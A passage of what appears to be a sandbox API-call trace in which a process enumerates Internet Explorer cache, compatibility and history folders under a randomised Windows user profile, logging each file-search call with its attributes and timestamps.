Explorer\\EmieSiteList\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\emiesitelist\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0209.743] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.743] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.743] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0209.743] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0209.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.743] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList", lpFilePart=0x0) returned 0x4c [0209.743] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\emieuserlist\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.744] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.744] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe85d368, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.744] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.744] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.744] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList", lpFilePart=0x0) returned 0x4c [0209.744] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\emieuserlist\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.745] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.745] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe85d368, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.745] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe85d368, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0209.745] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.745] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData", lpFilePart=0x0) returned 0x4c [0209.745] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.746] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.746] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompatdata.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0209.746] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.746] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.746] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData", lpFilePart=0x0) returned 0x4c [0209.747] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IECompatData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\iecompatdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.747] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.747] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompatdata.xml", cAlternateFileName="IECOMP~1.XML")) returned 1 [0209.747] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompatdata.xml", cAlternateFileName="IECOMP~1.XML")) returned 0 [0209.747] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.747] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache", lpFilePart=0x0) returned 0x50 [0209.747] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\ieflipaheadcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0209.748] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.748] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.748] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.748] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0209.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.748] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache", lpFilePart=0x0) returned 0x50 [0209.748] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\IEFlipAheadCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\ieflipaheadcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.749] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.749] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.749] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0209.749] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.749] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore", lpFilePart=0x0) returned 0x4a [0209.749] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\imagestore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\imagestore\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad892634, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad892634, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0x1e9809f, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.751] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad892634, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad892634, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0x1e9809f, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.751] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9809f, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x1e9809f, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x1e9809f, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="o1u6sp3", cAlternateFileName="")) returned 1 [0209.751] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad892634, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad892634, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xad892634, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmamu79", cAlternateFileName="")) returned 1 [0211.123] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfc6fe9b2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc6fe9b2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc6fe9b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.123] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.123] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0211.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.124] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012023091920230920", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012023091920230920", lpFilePart=0x0) returned 0x62 [0211.124] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012023091920230920\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012023091920230920\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfc6fe9b2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc6fe9b2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc6fe9b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.124] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfc6fe9b2, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfc6fe9b2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc6fe9b2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 